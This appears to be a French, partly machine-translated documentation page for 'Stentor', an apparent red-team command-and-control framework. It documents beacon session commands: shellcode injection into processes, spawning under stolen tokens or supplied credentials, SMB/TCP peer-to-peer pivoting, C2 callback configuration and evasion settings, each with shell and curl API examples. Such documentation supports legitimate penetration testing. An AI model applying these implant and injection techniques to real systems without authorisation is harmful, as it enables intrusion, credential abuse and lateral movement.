Gestion des sessions¶

Commandes de gestion des sessions de beacons : création de nouvelles beacons, gestion des liens peer-to-peer (P2P), métadonnées de session, configuration des beacons et stratégies de sortie. Ces commandes contrôlent le cycle de vie et la topologie de votre réseau d'implants.

Topologie des sessions¶

Stentor prend en charge les réseaux de beacons hiérarchiques dans lesquels les beacons enfants acheminent le trafic via les beacons parents vers le serveur C2. Cela permet d’accéder à des réseaux segmentés sans connectivité directe.

graph LR
    TS[Teamserver] <-->|WebSocket| R[Relay Agent]
    R <-->|HTTPS/DNS| PB[Parent Beacon]
    PB <-->|SMB Pipe| CB1[Child Beacon<br>SMB Link]
    PB <-->|TCP Bind| CB2[Child Beacon<br>TCP Link]
    CB1 <-->|SMB Pipe| CB3[Grandchild<br>Beacon]

    style TS fill:#1a1a2e,color:#e0e0e0,stroke:#00bcd4
    style R fill:#16213e,color:#e0e0e0,stroke:#00bcd4
    style PB fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
    style CB1 fill:#533483,color:#e0e0e0,stroke:#ce93d8
    style CB2 fill:#533483,color:#e0e0e0,stroke:#ce93d8
    style CB3 fill:#2e1065,color:#e0e0e0,stroke:#ce93d8

Les beacons parents agissent comme des points de relais : les beacons enfants envoient leur trafic via le canal C2 établi par le parent. Cela signifie que les beacons pour enfants n’ont pas besoin d’un accès direct à Internet.

Référence des commandes de session¶

Générer de nouvelles sessions¶

Les commandes spawn créent de nouvelles sessions de beacon à partir d'un beacon existant. Chaque méthode utilise une identité ou un mécanisme d'injection différent.

spawn¶

Générez une nouvelle session de beacon en générant un shellcode pour le listener spécifié, en l'injectant dans un processus sacrificiel (selon la configuration spawnto) et en rappelant le listener.

Syntaxe :

spawn [x86|x64] <listener>

L'argument d'architecture est facultatif : la valeur par défaut est x64 si seul un nom d'listener est fourni (par exemple, spawn HTTPS est équivalent à spawn x64 HTTPS).

Comment ça marche :

1. Le backend demande la génération de shellcode à partir du relais pour le listener spécifié
2. Relay compile de manière croisée un beacon sans stage et le convertit en shellcode via Donut
3. Le shellcode est envoyé au beacon parent en tant que tâche spawn
4. Le beacon parent crée un processus sacrificiel (selon la configuration spawnto_x64/spawnto_x86)
5. Le shellcode est injecté dans le processus sacrificiel
6. Un nouveau beacon rappelle le listener spécifié

Exemple de shell :

beacon> spawn x64 HTTPS
[*] Tasked beacon to spawn x64 session for listener "HTTPS"

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "spawn x64 HTTPS", "confirmed": true}'

spawnas¶

Générez un beacon en tant qu'autre utilisateur en utilisant des informations d'identification explicites via CreateProcessWithLogonW. La nouvelle beacon s'exécute dans le contexte de sécurité de l'utilisateur spécifié.

Syntaxe :

spawnas [DOMAIN\user] [password] [listener]

Si aucune barre oblique inverse n'est présente dans la spécification utilisateur, le domaine est par défaut . (machine locale).

Comment ça marche :

1. Le backend génère un shellcode pour le listener spécifié (identique à spawn)
2. Le beacon parent appelle CreateProcessWithLogonW avec les informations d'identification fournies
3. Le nouveau processus s'exécute sous le jeton de l'utilisateur cible
4. Le shellcode est injecté dans le nouveau processus
5. Une nouvelle beacon rappelle sous l'identité de l'utilisateur cible

Exemple de shell :

beacon> spawnas CORP\svc_backup P@ssw0rd! HTTPS
[*] Tasked beacon to spawn as CORP\svc_backup via listener "HTTPS"

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "spawnas CORP\\svc_backup P@ssw0rd! HTTPS", "confirmed": true}'

spawnu¶

Générez un beacon sous l'identité d'un autre processus en volant son jeton. La nouvelle beacon hérite du contexte de sécurité du processus cible sans nécessiter d'informations d'identification.

Syntaxe :

spawnu [pid] [listener]

Comment ça marche :

1. Le backend génère un shellcode pour le listener spécifié
2. Le beacon parent ouvre un handle vers le PID cible
3. Le jeton est dupliqué à partir du processus cible
4. Un nouveau processus est créé à l'aide du jeton volé
5. Le shellcode est injecté dans le nouveau processus
6. Une nouvelle beacon rappelle sous l'identité volée

Exemple de shell :

beacon> spawnu 4728 HTTPS
[*] Tasked beacon to spawn under PID 4728 via listener "HTTPS"

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "spawnu 4728 HTTPS", "confirmed": true}'

injecter¶

Injectez le shellcode du beacon dans un processus existant. Contrairement à spawn, cela ne crée pas de nouveau processus : le beacon s'exécute dans l'espace d'adressage du processus cible.

Syntaxe :

inject <pid> <x86|x64> <listener>

Les trois arguments sont requis. L'architecture doit correspondre au processus cible (l'injection de shellcode x64 dans un processus x86 le fera planter).

Comment ça marche :

1. Le backend génère un shellcode pour le listener et l'architecture spécifiés
2. Le beacon parent ouvre un handle vers le processus cible
3. La mémoire est allouée dans le processus cible
4. Le shellcode est écrit et exécuté à l'aide de la technique d'injection configurée
5. Une nouvelle beacon rappelle depuis le processus cible

La technique d'injection est configurable via le hook CNA PROCESS_INJECT_EXPLICIT, permettant aux opérateurs d'échanger des méthodes d'injection au moment de l'exécution.

Exemple de shell :

beacon> inject 3156 x64 HTTPS
[*] Tasked beacon to inject x64 shellcode into PID 3156 for listener "HTTPS"

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "inject 3156 x64 HTTPS", "confirmed": true}'

Liaison de beacon P2P¶

La liaison peer-to-peer permet aux beacons de communiquer via les beacons parents plutôt que directement avec le serveur C2. Ceci est essentiel pour atteindre les hôtes sur des segments de réseau isolés.

sequenceDiagram
    participant Op as Operator
    participant Parent as Parent Beacon
    participant Child as Child Beacon (Listening)

    Note over Child: Child beacon starts<br>listening on SMB pipe<br>or TCP port

    Op->>Parent: link <host> [pipe] / connect <host> <port>
    Parent->>Child: Connect to pipe/port
    Child-->>Parent: Encrypted handshake
    Parent-->>Child: Session established

    Note over Parent,Child: P2P channel active<br>Child traffic routes<br>through Parent

    loop Task Execution
        Op->>Parent: Task for child beacon
        Parent->>Child: Forward task via P2P
        Child-->>Parent: Return result
        Parent-->>Op: Forward result to C2
    end

    Op->>Parent: unlink <child_id>
    Parent->>Child: Disconnect
    Note over Child: Child goes to sleep<br>Can be re-linked later

lien¶

Connectez-vous à un beacon de canal nommée SMB. Le beacon enfant doit déjà être exécutée et écoutée sur un canal nommé (créé via un payload SMB ou spawn avec un listener SMB).

Syntaxe :

link <host> [pipe_name]

Le nom du canal par défaut est \\.\pipe\stentor. Si le beacon enfant a été configurée avec un nom de canal personnalisé, spécifiez-le explicitement.

Comment ça marche :

1. Le beacon parent se connecte au canal nommé SMB de l'enfant sur l'hôte spécifié
2. Un canal P2P crypté est établi sur le canal
3. Le trafic du beacon enfant est acheminé via le parent vers le serveur C2
4. Le beacon enfant apparaît dans la console opérateur en tant que session liée

Exemple de shell :

beacon> link 10.10.10.50
[*] Tasked beacon to link to \\10.10.10.50\pipe\stentor

beacon> link 10.10.10.50 \\.\pipe\custom_pipe
[*] Tasked beacon to link to \\10.10.10.50\pipe\custom_pipe

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "link 10.10.10.50", "confirmed": true}'

connecter¶

Connectez-vous à un beacon de liaison TCP. Le beacon enfant doit déjà être en cours d'exécution et écouter sur un port TCP (créé via un payload TCP ou spawn avec un listener TCP).

Syntaxe :

connect <host> <port>

Les deux arguments sont requis. Le port doit être compris entre 1 et 65535.

Comment ça marche :

1. Le beacon parent ouvre une connexion TCP avec l'enfant sur l'hôte et le port spécifiés
2. Un canal P2P crypté est établi sur la connexion TCP
3. Le trafic du beacon enfant est acheminé via le parent vers le serveur C2
4. Le beacon enfant apparaît dans la console opérateur en tant que session liée

Exemple de shell :

beacon> connect 10.10.10.50 4444
[*] Tasked beacon to connect to 10.10.10.50:4444

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "connect 10.10.10.50 4444", "confirmed": true}'

dissocier¶

Déconnectez un beacon enfant liée. Le beacon enfant se met en veille et peut être réassociée ultérieurement à l'aide de link ou connect.

Syntaxe :

unlink <child_beacon_id>

L'argument est l'UUID du beacon enfant (visible dans la liste des beacons ou dans la sortie de la console).

Exemple de shell :

beacon> unlink a1b2c3d4-e5f6-7890-abcd-ef1234567890
[*] Tasked beacon to unlink child a1b2c3d4

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "unlink a1b2c3d4-e5f6-7890-abcd-ef1234567890", "confirmed": true}'

Remarques OPSEC P2P¶

Métadonnées de session¶

Commandes pour annoter, gérer et inspecter les sessions de beacon.

remarque¶

Ajoutez une note textuelle ou une étiquette à une session de beacon. Les notes sont stockées côté serveur dans le registre des beacons et conservées dans la base de données. Utile pour suivre l’objectif, la propriété ou le statut des beacons individuelles.

Syntaxe :

note <text>

Pour effacer une note, exécutez note sans argument.

Exemple de shell :

beacon> note DC lateral movement pivot
[*] Note set: "DC lateral movement pivot"

beacon> note
[*] Note cleared

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "note DC lateral movement pivot", "confirmed": true}'

enregistrement¶

Forcez le beacon à s'enregistrer immédiatement, en contournant l'intervalle de veille actuel. Le beacon renvoie ses informations système (nom d'hôte, IP, utilisateur, PID, etc.) lors du prochain cycle d'interrogation.

Syntaxe :

checkin

Exemple de shell :

beacon> checkin
[*] Tasked beacon to check in

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "checkin", "confirmed": true}'

annuler¶

Annulez les tâches de téléchargement en file d’attente pour le beacon. Accepte un modèle global pour annuler sélectivement les téléchargements correspondant à un modèle de nom de fichier.

Syntaxe :

cancel [pattern]

Si aucun modèle n'est fourni, la valeur par défaut est * (annuler tous les téléchargements en attente).

Exemple de shell :

beacon> cancel *.docx
[*] Cancelled 3 download(s) matching "*.docx"

beacon> cancel
[*] Cancelled 7 download(s) matching "*"

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cancel *.docx", "confirmed": true}'

clair¶

Effacez toutes les tâches en attente (non encore livrées) de la file d'attente des tâches du beacon. Les tâches déjà livrées au beacon ne sont pas affectées.

Syntaxe :

clear

Exemple de shell :

beacon> clear
[*] Cleared 5 pending task(s)

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "clear", "confirmed": true}'

Configuration du beacon¶

Commandes pour afficher et gérer la configuration d’exécution du beacon.

beacon_config¶

Affichez et gérez la configuration du beacon, y compris les URL C2, les paramètres de veille, l'état d'évasion et les métadonnées de session.

Syntaxe :

beacon_config                  # Show current configuration (default)
beacon_config info             # Same as above
beacon_config add <url>        # Add a C2 callback URL
beacon_config remove <url>     # Remove a C2 callback URL
beacon_config hold <url>       # Temporarily disable a C2 URL
beacon_config release <url>    # Re-enable a held C2 URL
beacon_config reset            # Reset to default configuration

Exemple de shell :

beacon> beacon_config
[*] Beacon Configuration:
    Beacon ID:    a1b2c3d4-e5f6-7890-abcd-ef1234567890
    Sleep:        60s (25% jitter)
    PID:          4728
    User:         CORP\admin
    Hostname:     WS-PC01
    SpawnTo x64:  %windir%\sysnative\rundll32.exe
    SpawnTo x86:  %windir%\syswow64\rundll32.exe
    BlockDLLs:    enabled
    SleepMask:    enabled
    Syscall:      Indirect
    BeaconGate:   enabled

beacon> beacon_config add https://backup-c2.example.com/api
[*] Added C2 URL: https://backup-c2.example.com/api

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "beacon_config", "confirmed": true}'

variables¶

Afficher toutes les variables d'exécution du beacon. Les variables sont résolues côté serveur à partir du registre de beacon : aucune tâche n'est envoyée au beacon. Cela fournit une vue complète de l’état actuel du beacon.

Syntaxe :

variables

Variables disponibles :

Exemple de shell :

beacon> variables
[*] Beacon Variables:
    $bid                 a1b2c3d4-e5f6-7890-abcd-ef1234567890
    $hostname            WS-PC01
    $user                CORP\admin
    $ip                  10.10.10.50
    $os                  Windows 10 Pro 22H2
    $arch                x64
    $pid                 4728
    $sleep               60
    $jitter              25
    $note                DC pivot
    $spawnto_x64         %windir%\sysnative\rundll32.exe
    $blockdlls           true
    $sleep_mask          true
    $syscall_method      Indirect
    $beacon_gate         true

Exemple d'API :

# Via shell command
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "variables", "confirmed": true}'

# Via dedicated REST endpoint
curl -s "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/variables" \
  -H "Authorization: Bearer $TOKEN"

magasin de données¶

Affichez le contenu du magasin de données du beacon. Le magasin de données est un magasin clé-valeur utilisé pour le préchargement BOF et les données persistantes lors des exécutions de tâches.

Syntaxe :

data-store

Exemple de shell :

beacon> data-store
[*] Beacon Data Store:
    Entries: 3
    Total size: 14.2 KB

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "data-store", "confirmed": true}'

Stratégies de sortie¶

sortir¶

Terminez proprement le processus de beacon. Le beacon envoie un résultat d'enregistrement final confirmant la sortie, puis appelle sa fonction de sortie configurée pour terminer.

Syntaxe :

exit

Le comportement de sortie dépend de l'option de build exit_func configurée lors de la génération de le payload :

Exemple de shell :

beacon> exit
[*] Tasked beacon to exit
[*] Beacon a1b2c3d4 exited

Exemple d'API (commande shell) :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "exit", "confirmed": true}'

Exemple d'API (point de terminaison REST) :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/state/exit" \
  -H "Authorization: Bearer $TOKEN"

Résumé des interactions avec les commandes¶

Le diagramme suivant montre comment les commandes de gestion de session circulent dans l'architecture Stentor :

flowchart TD
    A[Operator Console] -->|"spawn / inject / link / exit"| B[Backend Shell Handler]
    B -->|spawn / spawnas / spawnu / inject| C{Shellcode Needed?}
    C -->|Yes| D[Relay Agent]
    D -->|Generate shellcode| E[Return to Backend]
    E -->|Enqueue spawn task| F[Task Queue]
    C -->|No: link / unlink / exit / note| F
    F -->|Beacon polls| G[Parent Beacon]
    G -->|Execute task| H[Result]
    H -->|spawn/inject| I[New Beacon Session]
    H -->|link/connect| J[P2P Channel Established]
    H -->|exit| K[Beacon Terminates]

    style A fill:#1a1a2e,color:#e0e0e0,stroke:#00bcd4
    style B fill:#16213e,color:#e0e0e0,stroke:#00bcd4
    style D fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
    style F fill:#533483,color:#e0e0e0,stroke:#ce93d8
    style G fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
    style I fill:#1b5e20,color:#e0e0e0,stroke:#66bb6a
    style J fill:#1b5e20,color:#e0e0e0,stroke:#66bb6a
    style K fill:#b71c1c,color:#e0e0e0,stroke:#ef5350

Les commandes qui nécessitent la génération de shellcode (spawn, spawnas, spawnu, inject) impliquent un aller-retour vers l'agent Relay avant que la tâche ne soit mise en file d'attente. Les commandes qui opèrent directement sur le beacon (link, connect, unlink, note, checkin, clear, exit) sont immédiatement mises en file d'attente.